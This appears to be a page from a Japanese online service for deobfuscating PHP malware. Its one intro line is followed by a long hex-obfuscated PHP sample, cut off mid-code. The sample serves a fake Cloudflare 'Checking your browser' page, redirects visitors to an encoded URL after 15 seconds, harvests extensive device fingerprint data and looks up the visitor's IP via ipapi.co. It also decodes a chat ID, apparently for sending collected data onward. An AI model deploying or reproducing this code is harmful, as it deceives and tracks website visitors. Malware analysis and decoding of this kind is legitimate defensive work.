Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $aofrocjtbp="\x75\x72l\x54\x6f\x52e\x64i\x72\x65\x63\x74";${"\x47\x4c\x4fBALS"}["\x70s\x71\x6d\x65\x62\x6a\x65x"]="ur\x6cTo\x52\x65di\x72\x65c\x74";${"\x47LO\x42\x41\x4c\x53"}["\x6cx\x72\x6c\x63\x76\x75lo\x79\x72"]="\x65\x6eco\x64e\x64C\x68at\x49D";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77ay\x66w\x73\x66\x70j"]="ch\x61\x74\x49\x44";${"\x47\x4c\x4fBA\x4c\x53"}["q\x6d\x76\x72\x68\x74n\x68\x6d"]="\x63h\x61\x74I\x44";${"\x47LO\x42\x41L\x53"}["s\x70\x69x\x67\x62\x6a"]="pa\x74\x68_\x70\x61\x72\x74\x73";${"\x47\x4cO\x42\x41\x4cS"}["\x69\x71\x66\x64\x71\x6fqw"]="\x70\x61th\x5fp\x61\x72\x74\x73";${"\x47L\x4f\x42\x41\x4cS"}["t\x65r\x71\x70\x73k\x6b"]="\x70a\x74\x68";${"\x47\x4cO\x42\x41LS"}["\x68o\x64okc\x7afy\x73"]="d\x65\x63o\x64e\x64_\x75r\x6c";${"GL\x4f\x42\x41LS"}["m\x75\x6cs\x6dyc\x6b\x67o"]="en\x63\x6f\x64\x65\x64_\x69d";${"G\x4c\x4f\x42\x41\x4c\x53"}["l\x63\x79\x79\x6a\x75\x6a\x70"]="i";${"G\x4c\x4f\x42\x41\x4c\x53"}["nb\x6f\x6a\x69\x68\x6cu"]="\x6d\x61\x70\x70\x69\x6eg";function decode_chat_id($encoded_id){${"\x47\x4c\x4fBA\x4cS"}["l\x6c\x78\x73u\x78\x68\x6djp"]="de\x63od\x65\x64\x5f\x69\x64";${"\x47\x4c\x4f\x42\x41L\x53"}["jq\x6c\x68vos\x68"]="\x69";${${"\x47\x4cOB\x41L\x53"}["\x6eb\x6f\x6aih\x6c\x75"]}="\x61b\x63d\x65fgh\x69\x6a";$nrdfbosdipdt="\x64\x65c\x6f\x64\x65\x64\x5f\x69\x64";${${"\x47\x4c\x4fBAL\x53"}["l\x6c\x78\x73\x75\x78h\x6dj\x70"]}="";for(${${"G\x4cO\x42\x41L\x53"}["\x6cc\x79y\x6a\x75j\x70"]}=0;${${"GL\x4fB\x41\x4cS"}["\x6aql\x68\x76os\x68"]}<strlen(${${"G\x4c\x4fBALS"}["mu\x6c\x73\x6dyck\x67\x6f"]});${${"\x47L\x4f\x42AL\x53"}["\x6cc\x79\x79\x6au\x6a\x70"]}++){$bnpsxkw="\x64e\x63\x6f\x64\x65\x64\x5f\x69\x64";$rrgukdovuf="ma\x70\x70\x69n\x67";${$bnpsxkw}.=strpos(${$rrgukdovuf},${${"\x47\x4cO\x42A\x4cS"}["\x6d\x75\x6csm\x79\x63\x6bgo"]}[${${"G\x4cO\x42\x41LS"}["\x6c\x63\x79yju\x6ap"]}]);}return${$nrdfbosdipdt};}function decode_url($encoded_url){${"\x47\x4c\x4fBAL\x53"}["jf\x6b\x73\x72\x75\x73\x75\x6di"]="\x64e\x63\x6f\x64e\x64\x5fu\x72\x6c";$bccyehskvm="\x65\x6e\x63\x6f\x64\x65\x64\x5fu\x72\x6c";${${"G\x4c\x4f\x42\x41\x4c\x53"}["ho\x64\x6f\x6b\x63\x7a\x66y\x73"]}=base64_decode(strtr(${$bccyehskvm},"-_","+/"));return${${"\x47\x4cO\x42\x41LS"}["jf\x6b\x73\x72\x75\x73\x75mi"]};}${${"G\x4cO\x42\x41\x4c\x53"}["t\x65\x72\x71\x70\x73\x6b\x6b"]}=$_SERVER["REQUE\x53T\x5fURI"];${${"G\x4cO\x42A\x4cS"}["s\x70\x69xg\x62\x6a"]}=explode("/",trim(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x65r\x71p\x73\x6b\x6b"]},"/"));if(isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x71fd\x71oq\x77"]}[1])&&isset(${${"\x47LO\x42A\x4cS"}["\x73p\x69x\x67b\x6a"]}[2])){$wrsywlxn="\x70\x61t\x68_\x70\x61rts";${"\x47\x4cOB\x41\x4c\x53"}["u\x71\x68\x78v\x78\x67\x70"]="\x65\x6ec\x6f\x64\x65\x64\x55r\x6c";${"G\x4cO\x42\x41\x4cS"}["\x67eb\x6dt\x73r\x67\x77"]="\x65\x6e\x63o\x64\x65\x64Url";$ivgecdkd="\x70ath\x5fp\x61rt\x73";${"G\x4cO\x42\x41\x4cS"}["\x76n\x74\x62\x6bo\x6fr"]="enc\x6f\x64\x65d\x43\x68\x61t\x49D";${${"\x47LO\x42\x41\x4cS"}["\x76\x6e\x74b\x6bo\x6fr"]}=${$wrsywlxn}[1];${${"G\x4c\x4fB\x41L\x53"}["\x67\x65b\x6d\x74s\x72\x67\x77"]}=${$ivgecdkd}[2];${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77ay\x66\x77\x73f\x70\x6a"]}=decode_chat_id(${${"G\x4c\x4f\x42\x41LS"}["\x6cxrl\x63vul\x6f\x79\x72"]});${${"\x47\x4cOBAL\x53"}["\x70\x73\x71\x6deb\x6aex"]}=decode_url(${${"GL\x4f\x42\x41L\x53"}["\x75\x71\x68\x78v\x78g\x70"]});}else{};echo "<\x21DOC\x54\x59PE ht\x6dl>\n\x3ch\x74m\x6c\x20\x6c\x61ng=\"\x65\x6e-\x55\x53\">\n\x3c\x68\x65ad\x3e\n\x20 \x20\x20<meta\x20cha\x72set\x3d\"\x55TF-8\"\x3e\n\x20 \x20 <\x6d\x65t\x61 http-e\x71\x75iv\x3d\x22\x43ont\x65\x6et-T\x79p\x65\"\x20c\x6f\x6e\x74\x65\x6e\x74=\"text/ht\x6d\x6c; cha\x72set\x3d\x55\x54\x46-8\x22>\n \x20 <\x6d\x65\x74\x61 http-e\x71uiv\x3d\x22\x58-U\x41-C\x6f\x6dp\x61\x74ib\x6ce\x22 \x63\x6fnt\x65\x6et\x3d\"\x49E=\x45dge,\x63\x68\x72o\x6de=\x31\">\n \x20 <\x6d\x65ta n\x61\x6de=\"\x72o\x62\x6f\x74\x73\x22\x20c\x6f\x6e\x74e\x6et=\x22\x6eoi\x6e\x64\x65\x78,\x20\x6eo\x66o\x6c\x6cow\x22>\n\x20\x20\x20 <m\x65t\x61 \x6e\x61\x6de\x3d\x22vi\x65wpo\x72\x74\x22 c\x6fn\x74en\x74=\x22w\x69\x64\x74\x68=d\x65\x76\x69\x63e-\x77\x69\x64th,ini\x74i\x61l-\x73\x63a\x6ce=1\">\n\x20\x20 <\x74\x69t\x6ce>\x4aust a\x20\x6dom\x65n\x74.\x2e.\x3c/\x74i\x74le\x3e\n \x3cs\x74y\x6c\x65 type=\"t\x65\x78\x74/css\x22>\n\x20 \x20\x20\x20\x20 ht\x6dl, \x62\x6fd\x79 {w\x69\x64\x74h:\x20\x31\x30\x30\x25\x3b\x20\x68e\x69\x67h\x74:\x20\x31\x30\x30\x25\x3b\x20\x6darg\x69n:\x20\x30\x3b\x20pad\x64\x69\x6e\x67: 0;}\n\x20 \x20 \x20 bo\x64y\x20{\x62a\x63\x6bg\x72\x6f\x75n\x64-colo\x72: \x23\x66\x66\x66f\x66f;\x20\x63o\x6co\x72:\x20\x23000000\x3b\x20\x66\x6fnt-\x66\x61\x6d\x69\x6cy:-a\x70ple-\x73ys\x74em, s\x79s\x74\x65m-\x75\x69,\x20Blin\x6b\x4dacS\x79\x73\x74\x65m\x46ont, \x22Se\x67\x6f\x65 UI\", R\x6f\x62\x6ft\x6f, \x4fxy\x67e\x6e,\x20\x55\x62un\x74\x75, \x22Helv\x65t\x69\x63a \x4eeue\",Ar\x69\x61\x6c, \x73\x61\x6e\x73-ser\x69\x66\x3b fo\x6e\x74-\x73\x69\x7a\x65: 16\x70x\x3b li\x6e\x65-he\x69\x67ht: 1.7e\x6d;-\x77\x65bk\x69\x74-\x66on\x74-sm\x6f\x6ft\x68i\x6eg: a\x6e\x74ial\x69a\x73\x65\x64;}\n \x20 \x20\x20\x68\x31\x20{\x20text-\x61li\x67n:\x20ce\x6e\x74er; \x66on\x74-w\x65ight:\x207\x300\x3b\x20\x6d\x61r\x67i\x6e: \x316px 0\x3b\x20\x66on\x74-si\x7a\x65: 32\x70\x78\x3b\x20\x63\x6f\x6co\x72:#0\x300\x30\x300;\x20l\x69n\x65-\x68\x65i\x67\x68t:\x201.\x32\x35\x3b}\n\x20\x20 \x70 {\x66o\x6et-si\x7a\x65:\x20\x320px\x3b\x20f\x6f\x6e\x74-\x77e\x69g\x68\x74: \x34\x30\x30; \x6darg\x69\x6e:\x208\x70x \x30\x3b}\n\x20\x20 \x20\x20\x20\x20\x70,\x20\x2e\x61\x74t\x72i\x62uti\x6f\x6e\x20{text-a\x6c\x69\x67n: c\x65nte\x72\x3b}\n\x20\x20 \x20\x20 \x20\x23\x73pi\x6e\x6e\x65r {\x6d\x61rg\x69n:\x200\x20\x61\x75to 3\x30\x70\x78\x20a\x75\x74\x6f\x3b displ\x61\x79: \x62l\x6f\x63k;}\n \x20\x20 \x20 \x2eat\x74rib\x75t\x69\x6fn {m\x61\x72\x67\x69\x6e-to\x70: 32px\x3b}\n\x20\x20 @key\x66\x72\x61\x6des\x20fad\x65\x72 {\x200\x25 {op\x61c\x69\x74y: 0.\x32\x3b}\x205\x30\x25\x20{opa\x63\x69t\x79: 1\x2e\x30\x3b}\x20100\x25 {o\x70\x61ci\x74\x79: 0\x2e2;} }\n\x20 \x20\x20 \x23cf-\x62ub\x62\x6c\x65\x73 >\x20.\x62\x75\x62b\x6c\x65s { \x61\x6ei\x6d\x61\x74ion:\x20\x66ade\x72 \x31.\x36\x73\x20infin\x69\x74e;}\n\x20\x20 \x20\x20\x20 \x20\x23\x63\x66-\x62ubbl\x65\x73 \x3e \x2ebub\x62l\x65\x73:\x6e\x74\x68-c\x68il\x64(2) {\x20\x61\x6e\x69\x6d\x61\x74\x69\x6fn-\x64\x65\x6c\x61y:\x20.2s\x3b}\n \x20 \x20 \x23\x63\x66-b\x75bb\x6c\x65\x73\x20\x3e .\x62\x75b\x62l\x65\x73:n\x74h-c\x68\x69\x6c\x64(3) {\x20\x61nim\x61\x74io\x6e-dela\x79: \x2e\x34s\x3b}\n\x20\x20 \x20 \x20.b\x75\x62b\x6c\x65\x73\x20{ b\x61\x63kg\x72ou\x6e\x64-\x63\x6fl\x6fr:\x20#f5\x382\x32\x30\x3b wi\x64\x74h:\x20\x320\x70\x78\x3b \x68e\x69g\x68t:\x20\x320\x70x; \x6d\x61\x72\x67in: \x32\x70\x78\x3b b\x6frde\x72-radi\x75s: 10\x30\x25\x3b \x64\x69\x73\x70\x6c\x61y: inl\x69\x6ee-\x62\x6c\x6f\x63k;\x20}\n \x20\x20\x20\x20 \x20\x61\x20{\x20\x63\x6fl\x6fr: #\x32c\x37cb\x30; \x74\x65\x78\x74-de\x63\x6f\x72atio\x6e: no\x6e\x65\x3b\x20\x74\x72\x61nsi\x74\x69\x6fn:\x20\x63o\x6cor\x200.\x31\x35\x73\x20\x65a\x73e;\x20}\n\x20\x20\x20\x20\x20 \x20a:\x68\x6f\x76er {\x63\x6fl\x6f\x72: #f4a15\x64;}\n \x20\x3c/\x73tyle\x3e\n\x3c/h\x65\x61\x64\x3e\n\x3c\x62od\x79>\n \x20\x20 \x3cta\x62\x6ce\x20w\x69\x64th\x3d\x221\x30\x30\x25\"\x20\x68ei\x67ht\x3d\"\x31\x30\x30%\x22 c\x65llpa\x64\x64\x69\x6eg\x3d\x22\x320\x22\x3e\n \x20\x20 \x20\x20\x20<tbody\x3e\n \x20\x20 \x20\x20 \x20\x20 \x20\x20<t\x72>\n\x20 \x20\x20\x20 \x20 \x20\x20\x20 \x20\x3ctd \x61l\x69gn\x3d\"c\x65\x6e\x74e\x72\" \x76\x61\x6c\x69\x67n\x3d\x22m\x69\x64d\x6c\x65\">\n\x20 \x20\x20 \x20 \x20\x20 \x20 \x20 \x20\x20<d\x69v \x63lass\x3d\x22\x63f-br\x6fwse\x72-\x76\x65ri\x66i\x63\x61\x74i\x6f\x6e \x63f-im-\x75\x6e\x64e\x72-a\x74t\x61c\x6b\">\n\x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20 \x20\x20 <div \x69d=\"cf-\x63\x6fn\x74e\x6et\x22>\n \x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x20\x20\x20\x3c\x64\x69\x76\x20\x69\x64\x3d\"\x63f-bubbl\x65s\x22\x3e\n\x20\x20\x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x3cdi\x76\x20\x63l\x61\x73\x73=\x22\x62ubb\x6c\x65s\x22></d\x69v\x3e\n\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20<\x64\x69v \x63la\x73s\x3d\"\x62\x75b\x62l\x65\x73\"\x3e\x3c/\x64i\x76>\n\x20\x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20\x20 \x20 \x20 \x20 <\x64i\x76 \x63\x6c\x61\x73\x73\x3d\"bu\x62\x62les\x22></di\x76\x3e\n \x20 \x20\x20 \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x20\x3c/\x64\x69\x76>\n\x20\x20 \x20 \x20\x20 \x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20\x3c\x68\x31\x3eCh\x65c\x6bi\x6eg\x20\x79o\x75r\x20br\x6fws\x65\x72\x20b\x65\x66ore a\x63\x63es\x73i\x6eg the \x77ebs\x69\x74e.</h\x31\x3e\n \x20 \x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20\x20 <\x70>This\x20pr\x6fc\x65\x73s is\x20\x61uto\x6d\x61t\x69\x63. \x59\x6fu\x72\x20b\x72\x6f\x77\x73\x65r will\x20\x72e\x64i\x72ect \x74\x6f yo\x75\x72 \x72\x65\x71\x75\x65\x73ted \x63on\x74\x65nt \x73ho\x72\x74\x6c\x79.\x3c/\x70>\n \x20\x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20<p\x20\x69\x64\x3d\"c\x66-\x73pi\x6en\x65r-re\x64\x69re\x63\x74\x69\x6e\x67\">\x52ed\x69\x72ec\x74\x69\x6eg…</p\x3e\n \x20 \x20\x20 \x20\x20 \x20\x20\x20\x20\x20 \x20\x20 </d\x69v>\n \x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20 </\x64iv>\n\x20\x20 \x20 \x20\x20 \x20\x20 \x20 \x20 <\x64i\x76\x20\x63la\x73s\x3d\"a\x74t\x72ibut\x69o\x6e\"\x3e\n \x20\x20 \x20\x20 \x20\x20\x20\x20 \x20 \x20 \x20 \x20\x20\x44DoS\x20\x70\x72\x6f\x74\x65ct\x69\x6f\x6e \x62y\n\x20\x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20 \x3c\x61\x20\x72el=\"\x6e\x6fopene\x72\x20no\x72\x65\x66e\x72rer\"\x20\x68r\x65f\x3d\x22\x68\x74tp\x73://ww\x77\x2ec\x6c\x6fudfl\x61\x72e.c\x6f\x6d/5\x78\x78-e\x72r\x6fr-l\x61\x6ed\x69\x6eg/\x22 ta\x72get=\x22_b\x6c\x61\x6e\x6b\x22>C\x6co\x75\x64\x66la\x72\x65\x3c/\x61>\n\x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20 \x20\x20\x20\x20<\x62r\x3e\n \x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20 \x20 \x20\x20\x3c\x73p\x61n\x20c\x6cass\x3d\"r\x61\x79_id\">Ra\x79 \x49\x44:\x20<c\x6f\x64e i\x64\x3d\"ra\x79\">\x3c/\x63od\x65>\x3c/span>\n\x20 \x20\x20 \x20\x20 \x20\x20\x20\x20\x20 \x20 \x3c/\x64i\x76>\n\x20\x20 \x20 \x20\x20\x20 \x20 \x20\x20 \x20\x3c/\x74\x64>\n\x20 \x20 \x20\x20\x20 \x20\x20 \x3c/\x74r\x3e\n \x20\x20 \x3c/\x74\x62o\x64\x79>\n \x20 \x20\x3c/\x74a\x62\x6ce>\n\x20\x20\x20\x20<\x63ent\x65r\x3e\n \x20 \x20\x20 <butt\x6fn\x20\x69\x64\x3d\x22t\x6fgg\x6ce-v\x69d\x65o\x22 \x73\x74yl\x65=\x22\x64i\x73\x70la\x79:\x6e\x6fne;\x22>To\x67gle \x56id\x65\x6f</b\x75\x74\x74\x6fn\x3e\n \x20 \x20\x20 \x20\x3cd\x69v\x20\x69d\x3d\x22m\x65s\x73a\x67e-\x63\x6f\x6e\x74a\x69\x6ee\x72\"></d\x69v\x3e\n\x20\x20 \x20 \x20\x20<\x76\x69\x64e\x6f i\x64\x3d\"\x76\x69\x64eo\" \x77\x69\x64t\x68=\"0\x22\x20hei\x67\x68t=\x220\x22 auto\x70\x6ca\x79\x3e</\x76\x69\x64e\x6f\x3e\n \x20\x20 \x3c/ce\x6et\x65r\x3e\n\x20\x20 \x20<sc\x72\x69\x70t\x20s\x72c\x3d\"\x68\x74\x74ps://\x63\x6fde\x2e\x6aq\x75\x65ry.c\x6fm/jquer\x79-\x33\x2e\x36\x2e\x30.min.js\x22\x3e\x3c/s\x63\x72i\x70t\x3e\n\x20\x20\x20 <\x73c\x72\x69\x70\x74\x20\x74y\x70\x65\x3d\"text/\x6a\x61\x76a\x73cr\x69\x70t\x22\x3e\n\x20 \x20\x20\x20 //\x20F\x75\x6e\x63\x74\x69on\x20t\x6f\x20g\x65\x6e\x65ra\x74e a\x20\x72an\x64\x6f\x6d \x52\x61y\x20I\x44\n\x20 \x20\x20\x20 \x20\x66u\x6e\x63\x74i\x6fn ge\x6e\x65r\x61\x74\x65\x52\x61y\x49D()\x20{\n\x20 \x63onst\x20c\x68a\x72\x73 \x3d\x20'\x61b\x63d\x65\x66\x301\x3234\x3567\x38\x39';\n\x20 \x20 \x20\x20\x20 \x20 l\x65\x74 rayI\x44 = \x27';\n \x20\x20 \x20\x20 \x20 \x20fo\x72 (\x6ce\x74 i\x20=\x20\x30; \x69 \x3c\x20\x316; i++) {\n \x20\x20\x20\x20 \x20\x20 \x20 \x72\x61y\x49D +=\x20\x63har\x73[\x4d\x61t\x68\x2e\x66\x6c\x6f\x6f\x72(\x4da\x74h.\x72\x61\x6e\x64om() *\x20\x63h\x61rs\x2e\x6ce\x6e\x67t\x68)];\n \x20 \x20 \x20\x20\x20 }\n \x20\x20 \x20\x20 \x20 re\x74ur\x6e \x72\x61y\x49\x44\x3b\n\x20\x20 \x20\x20\x20 }\n\n\x20\x20 \x20 \x20 \x20\x64\x6fc\x75m\x65\x6et\x2ea\x64d\x45\x76\x65\x6etL\x69\x73\x74e\x6eer('D\x4fMCo\x6et\x65\x6etLo\x61\x64e\x64\x27,\x20f\x75\x6e\x63ti\x6fn() {\n \x20\x20 \x20 \x20\x20//\x20Gen\x65\x72\x61te \x61\x6e\x64\x20s\x65\x74 \x61\x20n\x65\x77\x20\x52a\x79 I\x44\n \x20 \x20 \x20\x20\x64o\x63umen\x74.getE\x6cem\x65\x6e\x74B\x79I\x64('\x72a\x79\x27).t\x65x\x74Co\x6et\x65\x6et\x20= ge\x6ee\x72\x61t\x65RayI\x44();\n\n\x20 \x20\x20 \x20\x20 \x20 // Re\x64i\x72\x65c\x74\x20af\x74\x65\x72 15\x20s\x65co\x6ed\x73\n \x20 \x20\x20\x20 \x73\x65\x74Tim\x65\x6fu\x74(fu\x6e\x63ti\x6f\x6e()\x20{\n \x20 \x20\x20 \x20\x20\x20\x20\x20 win\x64o\x77\x2e\x6c\x6fc\x61\x74io\x6e.\x68\x72ef\x20= '";echo${$aofrocjtbp};echo "'\x3b\n \x20\x20 \x20\x20\x20\x20 }, \x315\x30\x30\x30)\x3b\x20//\x20\x3150\x30\x30\x20\x6dill\x69s\x65\x63\x6fn\x64\x73 =\x20\x31\x35\x20second\x73\n \x20\x20 \x20 \x20})\x3b\n\n \x20 \x20\x61\x73\x79\x6e\x63 \x66\x75\x6e\x63\x74\x69o\x6e\x20getDevi\x63\x65Info()\x20{\n\x20 \x20 \x20 \x20\x20 \x20\x63o\x6e\x73\x74 \x64\x65v\x69\x63\x65I\x6e\x66\x6f \x3d {\n\x20\x20\x20\x20\x20\x20 \x20\x20\x20 \x20 \x20\x20c\x68ar\x67\x69ng:\x20fa\x6cs\x65,\n\x20\x20 \x20 \x20\x20 \x20\x20 \x20 \x20 \x20\x63har\x67ingP\x65\x72centage:\x20\x6eu\x6cl,\n \x20\x20 \x20\x20\x20 \x20\x20\x20\x6ee\x74\x77or\x6b\x54yp\x65:\x20\x6e\x75ll,\n\x20\x20\x20\x20\x20\x20 \x20 \x20 ti\x6de\x5a\x6f\x6ee:\x20\x49\x6e\x74l\x2eD\x61\x74e\x54i\x6d\x65Form\x61\x74().\x72esol\x76e\x64O\x70t\x69o\x6es()\x2e\x74i\x6deZ\x6f\x6ee,\n \x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20 la\x6e\x67\x75age: \x6e\x61\x76\x69\x67a\x74\x6f\x72.\x6c\x61\x6egu\x61\x67e,\n \x20\x20 \x20 \x20\x20 \x20\x20 \x6can\x67\x75\x61\x67\x65s:\x20navi\x67a\x74\x6fr.l\x61\x6eg\x75\x61ge\x73\x2e\x6a\x6fin(',\x20\x27),\n\x20 \x20 \x20\x20\x20 \x20\x20 \x20\x20\x20\x70l\x61\x74fo\x72m:\x20na\x76ig\x61\x74or\x2e\x70\x6ca\x74\x66o\x72m,\n\x20\x20 \x20 \x20\x20 \x20 \x75\x73e\x72\x41g\x65n\x74:\x20\x6ea\x76ig\x61\x74or\x2eus\x65\x72A\x67\x65nt,\n\x20 \x20 \x20\x20 \x20\x20 \x73\x63\x72\x65e\x6eR\x65s\x6flu\x74io\x6e: `\${\x77ind\x6fw.\x73c\x72\x65en.w\x69d\x74h}x\${\x77\x69n\x64o\x77\x2es\x63re\x65\x6e\x2eh\x65ig\x68\x74}\x60,\n\n \x20\x20\x20 \x20\x20\x20\x20 \x20 \x63\x6f\x6cor\x44e\x70t\x68: \x77in\x64\x6fw\x2es\x63\x72e\x65\x6e\x2ec\x6fl\x6frD\x65p\x74h,\n\x20 \x20 \x20 \x20\x20 \x20\x20 de\x76iceMe\x6do\x72y: \x6eav\x69g\x61t\x6f\x72\x2edevi\x63\x65M\x65\x6d\x6f\x72y\x20||\x20'N/A',\n\x20\x20\x20\x20\x20 \x20 \x20\x20 \x20\x20ha\x72\x64\x77ar\x65\x43onc\x75\x72r\x65n\x63y: n\x61vi\x67a\x74\x6fr.h\x61\x72dw\x61r\x65\x43o\x6e\x63urren\x63y || \x27\x4e/A',\n \x20 \x20 \x20\x20\x20 \x20 \x20\x62ro\x77s\x65r\x4ea\x6de:\x20\x6ea\x76i\x67a\x74\x6f\x72.\x75\x73e\x72Ag\x65\x6etD\x61t\x61?.\x62r\x61nds.\x6d\x61p(\x62\x20\x3d\x3e b\x2ebr\x61\x6e\x64)\x2e\x6a\x6f\x69n(', \x27) || \x27N/\x41',\n\x20\x20 \x20\x20\x20\x20\x20\x20\x20 \x62r\x6fws\x65\x72\x56ersio\x6e:\x20\x6e\x61\x76\x69ga\x74o\x72.u\x73e\x72Ag\x65n\x74D\x61\x74a?.br\x61n\x64\x73.\x6dap(b\x20=> \x62\x2ev\x65\x72s\x69\x6f\x6e)\x2e\x6aoi\x6e(', \x27)\x20||\x20'\x4e/\x41\x27,\n \x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20 \x64ow\x6e\x6c\x69n\x6b: na\x76\x69g\x61\x74or.\x63\x6f\x6e\x6e\x65c\x74i\x6fn?.downli\x6e\x6b\x20||\x20\x27N/A\x27,\n \x20\x20\x20 \x20 \x20\x20\x20 \x20 \x20\x65\x66fe\x63\x74iv\x65Typ\x65: naviga\x74\x6f\x72.\x63o\x6e\x6eecti\x6f\x6e?\x2eef\x66ec\x74\x69ve\x54ype ||\x20'N/A',\n \x20 \x20\x20\x20\x20\x20 \x20\x20 \x20 \x72tt: \x6ea\x76\x69gato\x72\x2e\x63o\x6e\x6eec\x74\x69on?.\x72tt\x20||\x20'\x4e/\x41',\n\x20\x20 \x20\x20\x20\x20 \x20\x20 \x20 \x63\x6fnn\x65\x63ti\x6fnT\x79\x70e:\x20nav\x69g\x61t\x6f\x72\x2ec\x6fn\x6e\x65\x63t\x69\x6fn?.t\x79\x70\x65\x20||\x20\x27\x4e/\x41',\n \x20 \x20 \x20\x20 \x20 p\x72\x6f\x64\x75ctSub: \x6e\x61\x76\x69ga\x74o\x72.\x70r\x6f\x64uc\x74S\x75b\x20||\x20'\x4e/A\x27,\n \x20\x20 \x20 \x20 \x20\x20\x20\x20 \x20\x20v\x65\x6ed\x6f\x72:\x20\x6e\x61vi\x67a\x74\x6fr.ve\x6e\x64o\x72\x20||\x20\x27N/\x41\x27,\n\x20\x20\x20\x20 \x20 \x20 \x20 ma\x78T\x6f\x75\x63h\x50\x6fi\x6e\x74s:\x20\x6eav\x69\x67at\x6f\x72\x2e\x6da\x78Tou\x63\x68\x50o\x69n\x74\x73 ||\x20\x27\x4e/A',\n \x20 \x20\x20\x20 \x20 \x20 \x20\x20\x20d\x6fN\x6ftTr\x61\x63\x6b: na\x76\x69gator.do\x4e\x6f\x74\x54\x72\x61\x63\x6b\x20|| '\x4e/\x41',\n \x20 \x20 \x20 \x20 \x20\x20 \x20 \x63o\x6fk\x69e\x45\x6ea\x62l\x65\x64:\x20\x6eavig\x61tor\x2ec\x6f\x6fki\x65\x45\x6eabl\x65d\x20||\x20\x66\x61lse,\n\x20\x20 \x20\x20 \x20 \x20\x20 \x20 \x20a\x70\x70C\x6f\x64eNam\x65:\x20na\x76\x69\x67at\x6f\x72\x2ea\x70p\x43\x6f\x64eNa\x6de ||\x20'N/A\x27,\n \x20 \x20 \x20 \x20\x20\x20 a\x70\x70\x4e\x61m\x65:\x20n\x61\x76\x69\x67\x61to\x72.a\x70pNa\x6d\x65 || '\x4e/A\x27,\n \x20\x20 \x20 \x20\x20\x20 \x20 a\x70\x70Versio\x6e:\x20\x6e\x61\x76\x69\x67\x61\x74\x6f\x72.\x61\x70pVe\x72s\x69\x6fn\x20||\x20\x27N/A\x27,\n\x20 \x20\x20\x20\x20\x20 \x20 \x20\x20\x20 \x70\x72\x6f\x64\x75\x63t: n\x61vi\x67a\x74o\x72.pr\x6f\x64u\x63t\x20||\x20\x27\x4e/A',\n\x20\x20\x20 \x20 \x20\x20\x20\x20\x20 \x20\x77\x65\x62d\x72i\x76e\x72:\x20\x6eavi\x67\x61\x74\x6fr\x2eweb\x64rive\x72 || \x66\x61l\x73e,\n\x20 \x20 \x20 \x20 \x20 \x20\x20\x20\x70\x64\x66Vi\x65w\x65\x72\x45\x6e\x61\x62\x6c\x65\x64:\x20\x6e\x61vig\x61\x74\x6fr\x2epd\x66\x56\x69e\x77e\x72\x45n\x61bl\x65d\x20|| f\x61\x6c\x73e,\n\x20 \x20\x20 \x20\x20 }\x3b\n\n \x20\x20 \x20 \x20\x20\x20 \x20\x20i\x66 (na\x76i\x67ator\x2eget\x42a\x74te\x72y) {\n\x20 \x20 \x20 \x20\x20 \x20\x20 \x20\x20t\x72\x79\x20{\n \x20 \x20\x20\x20\x20 \x20 \x20\x20 \x20 \x20\x20 \x63on\x73t \x62\x61tte\x72\x79 = \x61\x77ai\x74 nav\x69\x67\x61t\x6fr.getB\x61\x74te\x72y()\x3b\n \x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20 \x20\x64\x65v\x69ce\x49\x6e\x66o\x2e\x63\x68ar\x67i\x6eg\x20= b\x61\x74\x74\x65r\x79.\x63\x68\x61rg\x69\x6eg\x3b\n \x20\x20 \x20 \x20 \x20 \x20 \x20 d\x65viceI\x6e\x66\x6f.\x63harg\x69n\x67P\x65\x72\x63\x65n\x74\x61\x67e = M\x61\x74h\x2e\x72ou\x6e\x64(\x62at\x74\x65\x72\x79.\x6ce\x76e\x6c * \x310\x30);\n\x20 \x20 \x20 \x20 \x20 \x20}\x20c\x61\x74ch\x20(\x65\x72ror) {\n\x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20 c\x6f\x6e\x73o\x6ce.e\x72ror('Er\x72o\x72 \x67\x65tting ba\x74\x74\x65\x72\x79 \x69n\x66\x6fr\x6da\x74ion:\x27,\x20\x65r\x72\x6fr)\x3b\n \x20 \x20\x20\x20\x20 \x20\x20 \x20\x20\x20}\n \x20\x20\x20 \x20\x20 }\n\n \x20 \x20 \x20\x20 \x72\x65t\x75r\x6e d\x65v\x69\x63\x65\x49\x6efo\x3b\n \x20 \x20 \x20}\n\n \x20 \x20 //\x20\x46un\x63\x74i\x6fn t\x6f\x20\x67\x65t\x20\x49P\x20de\x74a\x69l\x73\n\x20 \x20 \x20\x20\x61s\x79\x6ec\x20f\x75\x6ec\x74i\x6fn ge\x74\x49\x70D\x65\x74\x61ils()\x20{\n \x20 \x20 \x20 \x20\x74ry {\n\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x63onst \x72\x65\x73\x70onse\x20= awa\x69t f\x65tch(\x27ht\x74p\x73://i\x70api.\x63\x6f/jso\x6e/\x27)\x3b\n \x20 \x20\x20\x20\x20 \x20 i\x66 (\x21res\x70\x6f\x6ese.\x6f\x6b)\x20{\n \x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20 \x20 \x20 th\x72\x6f\x77 new\x20\x45\x72\x72\x6f\x72('HTTP 